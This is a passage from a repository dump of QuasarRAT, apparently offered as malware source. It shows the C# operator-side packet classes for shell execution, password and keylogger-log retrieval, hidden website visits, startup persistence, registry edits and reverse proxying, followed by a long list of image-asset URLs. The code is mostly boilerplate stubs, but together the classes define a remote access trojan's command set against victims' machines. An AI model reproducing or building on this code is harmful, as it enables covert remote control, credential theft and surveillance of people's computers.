xServer.Core.Networking; 3 | using xServer.Enums; 4 | 5 | namespace xServer.Core.Packets.ServerPackets 6 | { 7 | [Serializable] 8 | public class DoPathRename : IPacket 9 | { 10 | public string Path { get; set; } 11 | 12 | public string NewPath { get; set; } 13 | 14 | public PathType PathType { get; set; } 15 | 16 | public DoPathRename() 17 | { 18 | } 19 | 20 | public DoPathRename(string path, string newpath, PathType pathtype) 21 | { 22 | this.Path = path; 23 | this.NewPath = newpath; 24 | this.PathType = pathtype; 25 | } 26 | 27 | public void Execute(Client client) 28 | { 29 | client.Send(this); 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoProcessKill.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoProcessKill : IPacket 8 | { 9 | public int PID { get; set; } 10 | 11 | public DoProcessKill() 12 | { 13 | } 14 | 15 | public DoProcessKill(int pid) 16 | { 17 | this.PID = pid; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoProcessStart.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoProcessStart : IPacket 8 | { 9 | public string Processname { get; set; } 10 | 11 | public DoProcessStart() 12 | { 13 | } 14 | 15 | public DoProcessStart(string processname) 16 | { 17 | this.Processname = processname; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoRenameRegistryKey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xServer.Core.Networking; 6 | 7 | namespace xServer.Core.Packets.ServerPackets 8 | { 9 | [Serializable] 10 | public class DoRenameRegistryKey : IPacket 11 | { 12 | public string ParentPath { get; set; } 13 | public string OldKeyName { get; set; } 14 | public string NewKeyName { get; set; } 15 | 16 | public DoRenameRegistryKey(string parentPath, string oldKeyName, string newKeyName) 17 | { 18 | ParentPath = parentPath; 19 | OldKeyName = oldKeyName; 20 | NewKeyName = newKeyName; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoRenameRegistryValue.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xServer.Core.Networking; 6 | 7 | namespace xServer.Core.Packets.ServerPackets 8 | { 9 | [Serializable] 10 | public class DoRenameRegistryValue : IPacket 11 | { 12 | public string KeyPath { get; set; } 13 | public string OldValueName { get; set; } 14 | public string NewValueName { get; set; } 15 | 16 | public DoRenameRegistryValue(string keyPath, string oldValueName, string newValueName) 17 | { 18 | KeyPath = keyPath; 19 | OldValueName = oldValueName; 20 | NewValueName = newValueName; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoShellExecute.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoShellExecute : IPacket 8 | { 9 | public string Command { get; set; } 10 | 11 | public DoShellExecute() 12 | { 13 | } 14 | 15 | public DoShellExecute(string command) 16 | { 17 | this.Command = command; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoShutdownAction.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | using xServer.Enums; 4 | 5 | namespace xServer.Core.Packets.ServerPackets 6 | { 7 | [Serializable] 8 | public class DoShutdownAction : IPacket 9 | { 10 | public ShutdownAction Action { get; set; } 11 | 12 | public DoShutdownAction() 13 | { 14 | } 15 | 16 | public DoShutdownAction(ShutdownAction action) 17 | { 18 | this.Action = action; 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoStartupItemAdd.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoStartupItemAdd : IPacket 8 | { 9 | public string Name { get; set; } 10 | 11 | public string Path { get; set; } 12 | 13 | public int Type { get; set; } 14 | 15 | public DoStartupItemAdd() 16 | { 17 | } 18 | 19 | public DoStartupItemAdd(string name, string path, int type) 20 | { 21 | this.Name = name; 22 | this.Path = path; 23 | this.Type = type; 24 | } 25 | 26 | public void Execute(Client client) 27 | { 28 | client.Send(this); 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoStartupItemRemove.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoStartupItemRemove : IPacket 8 | { 9 | public string Name { get; set; } 10 | 11 | public string Path { get; set; } 12 | 13 | public int Type { get; set; } 14 | 15 | public DoStartupItemRemove() 16 | { 17 | } 18 | 19 | public DoStartupItemRemove(string name, string path, int type) 20 | { 21 | this.Name = name; 22 | this.Path = path; 23 | this.Type = type; 24 | } 25 | 26 | public void Execute(Client client) 27 | { 28 | client.Send(this); 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/DoVisitWebsite.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoVisitWebsite : IPacket 8 | { 9 | public string URL { get; set; } 10 | 11 | public bool Hidden { get; set; } 12 | 13 | public DoVisitWebsite() 14 | { 15 | } 16 | 17 | public DoVisitWebsite(string url, bool hidden) 18 | { 19 | this.URL = url; 20 | this.Hidden = hidden; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/GetAuthentication.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetAuthentication : IPacket 8 | { 9 | public GetAuthentication() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/GetConnections.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetConnections : IPacket 8 | { 9 | public GetConnections() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | 19 | } 20 | -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/GetDesktop.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetDesktop : IPacket 8 | { 9 | public int Quality { get; set; } 10 | 11 | public int Monitor { get; set; } 12 | 13 | public GetDesktop() 14 | { 15 | } 16 | 17 | public GetDesktop(int quality, int monitor) 18 | { 19 | this.Quality = quality; 20 | this.Monitor = monitor; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/GetDirectory.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetDirectory : IPacket 8 | { 9 | public string RemotePath { get; set; } 10 | 11 | public GetDirectory() 12 | { 13 | } 14 | 15 | public GetDirectory(string remotepath) 16 | { 17 | this.RemotePath = remotepath; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/GetDrives.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetDrives : IPacket 8 | { 9 | public GetDrives() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/GetKeyloggerLogs.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetKeyloggerLogs : IPacket 8 | { 9 | public GetKeyloggerLogs() { } 10 | 11 | public void Execute(Client client) 12 | { 13 | client.Send(this); 14 | } 15 | } 16 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/GetMonitors.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetMonitors : IPacket 8 | { 9 | public GetMonitors() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/GetPasswords.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetPasswords : IPacket 8 | { 9 | public GetPasswords() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/GetProcesses.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetProcesses : IPacket 8 | { 9 | public GetProcesses() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/GetStartupItems.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetStartupItems : IPacket 8 | { 9 | public GetStartupItems() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/GetSystemInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetSystemInfo : IPacket 8 | { 9 | public GetSystemInfo() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Server/Core/Packets/ServerPackets/SetAuthenticationSuccess.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | 4 | namespace xServer.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class SetAuthenticationSuccess : IPacket 8 | { 9 | public SetAuthenticationSuccess() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /Server/Core/Registry/RegValueData.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Win32; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | 7 | namespace xServer.Core.Registry 8 | { 9 | [Serializable] 10 | public class RegValueData 11 | { 12 | public string Name { get; set; } 13 | public RegistryValueKind Kind { get; set; } 14 | public object Data { get; set; } 15 | 16 | public RegValueData(string name, RegistryValueKind kind, object data) 17 | { 18 | Name = name; 19 | Kind = kind; 20 | Data = data; 21 | } 22 | 23 | public override string ToString() 24 | { 25 | return string.Format("({0}:{1}:{2})", Name, Kind, Data); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Server/Core/ReverseProxy/Packets/ReverseProxyConnect.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | using xServer.Core.Packets; 4 | 5 | namespace xServer.Core.ReverseProxy.Packets 6 | { 7 | [Serializable] 8 | public class ReverseProxyConnect : IPacket 9 | { 10 | public int ConnectionId { get; set; } 11 | 12 | public string Target { get; set; } 13 | 14 | public int Port { get; set; } 15 | 16 | public ReverseProxyConnect() 17 | { 18 | } 19 | 20 | public ReverseProxyConnect(int connectionId, string target, int port) 21 | { 22 | this.ConnectionId = connectionId; 23 | this.Target = target; 24 | this.Port = port; 25 | } 26 | 27 | public void Execute(Client client) 28 | { 29 | client.Send(this); 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /Server/Core/ReverseProxy/Packets/ReverseProxyData.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | using xServer.Core.Packets; 4 | 5 | namespace xServer.Core.ReverseProxy.Packets 6 | { 7 | [Serializable] 8 | public class ReverseProxyData : IPacket 9 | { 10 | public int ConnectionId { get; set; } 11 | 12 | public byte[] Data { get; set; } 13 | 14 | public ReverseProxyData() 15 | { 16 | } 17 | 18 | public ReverseProxyData(int connectionId, byte[] data) 19 | { 20 | this.ConnectionId = connectionId; 21 | this.Data = data; 22 | } 23 | 24 | public void Execute(Client client) 25 | { 26 | client.Send(this); 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /Server/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xServer.Core.Networking; 3 | using xServer.Core.Packets; 4 | 5 | namespace xServer.Core.ReverseProxy.Packets 6 | { 7 | [Serializable] 8 | public class ReverseProxyDisconnect : IPacket 9 | { 10 | public int ConnectionId { get; set; } 11 | 12 | public ReverseProxyDisconnect(int connectionId) 13 | { 14 | this.ConnectionId = connectionId; 15 | } 16 | 17 | public ReverseProxyDisconnect() 18 | { 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Server/Enums/MouseAction.cs: -------------------------------------------------------------------------------- 1 | namespace xServer.Enums 2 | { 3 | public enum MouseAction 4 | { 5 | LeftDown, 6 | LeftUp, 7 | RightDown, 8 | RightUp, 9 | MoveCursor, 10 | ScrollUp, 11 | ScrollDown, 12 | None 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /Server/Enums/PathType.cs: -------------------------------------------------------------------------------- 1 | namespace xServer.Enums 2 | { 3 | public enum PathType 4 | { 5 | File, 6 | Directory, 7 | Back 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /Server/Enums/ShutdownAction.cs: -------------------------------------------------------------------------------- 1 | namespace xServer.Enums 2 | { 3 | public enum ShutdownAction 4 | { 5 | Shutdown, 6 | Restart, 7 | Standby 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /Server/Enums/UserStatus.cs: -------------------------------------------------------------------------------- 1 | namespace xServer.Enums 2 | { 3 | public enum UserStatus 4 | { 5 | Idle, 6 | Active 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /Server/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | using xServer.Forms; 4 | 5 | namespace xServer 6 | { 7 | internal static class Program 8 | { 9 | [STAThread] 10 | private static void Main() 11 | { 12 | Application.EnableVisualStyles(); 13 | Application.SetCompatibleTextRenderingDefault(false); 14 | Application.Run(new FrmMain()); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Server/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Server/Quasar_Server.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/Quasar_Server.ico -------------------------------------------------------------------------------- /Server/Resources/actions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/Resources/actions.png -------------------------------------------------------------------------------- /Server/Resources/delete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/Resources/delete.png -------------------------------------------------------------------------------- /Server/Resources/restart.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/Resources/restart.png -------------------------------------------------------------------------------- /Server/Resources/shutdown.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/Resources/shutdown.png -------------------------------------------------------------------------------- /Server/Resources/standby.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/Resources/standby.png -------------------------------------------------------------------------------- /Server/Resources/textfield_rename.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/Resources/textfield_rename.png -------------------------------------------------------------------------------- /Server/flags/ad.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ad.png -------------------------------------------------------------------------------- /Server/flags/ae.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ae.png -------------------------------------------------------------------------------- /Server/flags/af.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/af.png -------------------------------------------------------------------------------- /Server/flags/ag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ag.png -------------------------------------------------------------------------------- /Server/flags/ai.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ai.png -------------------------------------------------------------------------------- /Server/flags/al.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/al.png -------------------------------------------------------------------------------- /Server/flags/am.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/am.png -------------------------------------------------------------------------------- /Server/flags/an.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/an.png -------------------------------------------------------------------------------- /Server/flags/ao.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ao.png -------------------------------------------------------------------------------- /Server/flags/ar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ar.png -------------------------------------------------------------------------------- /Server/flags/as.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/as.png -------------------------------------------------------------------------------- /Server/flags/at.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/at.png -------------------------------------------------------------------------------- /Server/flags/au.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/au.png -------------------------------------------------------------------------------- /Server/flags/aw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/aw.png -------------------------------------------------------------------------------- /Server/flags/ax.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ax.png -------------------------------------------------------------------------------- /Server/flags/az.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/az.png -------------------------------------------------------------------------------- /Server/flags/ba.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ba.png -------------------------------------------------------------------------------- /Server/flags/bb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/bb.png -------------------------------------------------------------------------------- /Server/flags/bd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/bd.png -------------------------------------------------------------------------------- /Server/flags/be.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/be.png -------------------------------------------------------------------------------- /Server/flags/bf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/bf.png -------------------------------------------------------------------------------- /Server/flags/bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/bg.png -------------------------------------------------------------------------------- /Server/flags/bh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/bh.png -------------------------------------------------------------------------------- /Server/flags/bi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/bi.png -------------------------------------------------------------------------------- /Server/flags/bj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/bj.png -------------------------------------------------------------------------------- /Server/flags/bm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/bm.png -------------------------------------------------------------------------------- /Server/flags/bn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/bn.png -------------------------------------------------------------------------------- /Server/flags/bo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/bo.png -------------------------------------------------------------------------------- /Server/flags/br.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/br.png -------------------------------------------------------------------------------- /Server/flags/bs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/bs.png -------------------------------------------------------------------------------- /Server/flags/bt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/bt.png -------------------------------------------------------------------------------- /Server/flags/bv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/bv.png -------------------------------------------------------------------------------- /Server/flags/bw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/bw.png -------------------------------------------------------------------------------- /Server/flags/by.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/by.png -------------------------------------------------------------------------------- /Server/flags/bz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/bz.png -------------------------------------------------------------------------------- /Server/flags/ca.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ca.png -------------------------------------------------------------------------------- /Server/flags/catalonia.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/catalonia.png -------------------------------------------------------------------------------- /Server/flags/cc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/cc.png -------------------------------------------------------------------------------- /Server/flags/cd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/cd.png -------------------------------------------------------------------------------- /Server/flags/cf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/cf.png -------------------------------------------------------------------------------- /Server/flags/cg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/cg.png -------------------------------------------------------------------------------- /Server/flags/ch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ch.png -------------------------------------------------------------------------------- /Server/flags/ci.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ci.png -------------------------------------------------------------------------------- /Server/flags/ck.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ck.png -------------------------------------------------------------------------------- /Server/flags/cl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/cl.png -------------------------------------------------------------------------------- /Server/flags/cm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/cm.png -------------------------------------------------------------------------------- /Server/flags/cn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/cn.png -------------------------------------------------------------------------------- /Server/flags/co.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/co.png -------------------------------------------------------------------------------- /Server/flags/cr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/cr.png -------------------------------------------------------------------------------- /Server/flags/cs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/cs.png -------------------------------------------------------------------------------- /Server/flags/cu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/cu.png -------------------------------------------------------------------------------- /Server/flags/cv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/cv.png -------------------------------------------------------------------------------- /Server/flags/cx.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/cx.png -------------------------------------------------------------------------------- /Server/flags/cy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/cy.png -------------------------------------------------------------------------------- /Server/flags/cz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/cz.png -------------------------------------------------------------------------------- /Server/flags/de.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/de.png -------------------------------------------------------------------------------- /Server/flags/dj.png: -------------------------------------------------------------------------------- 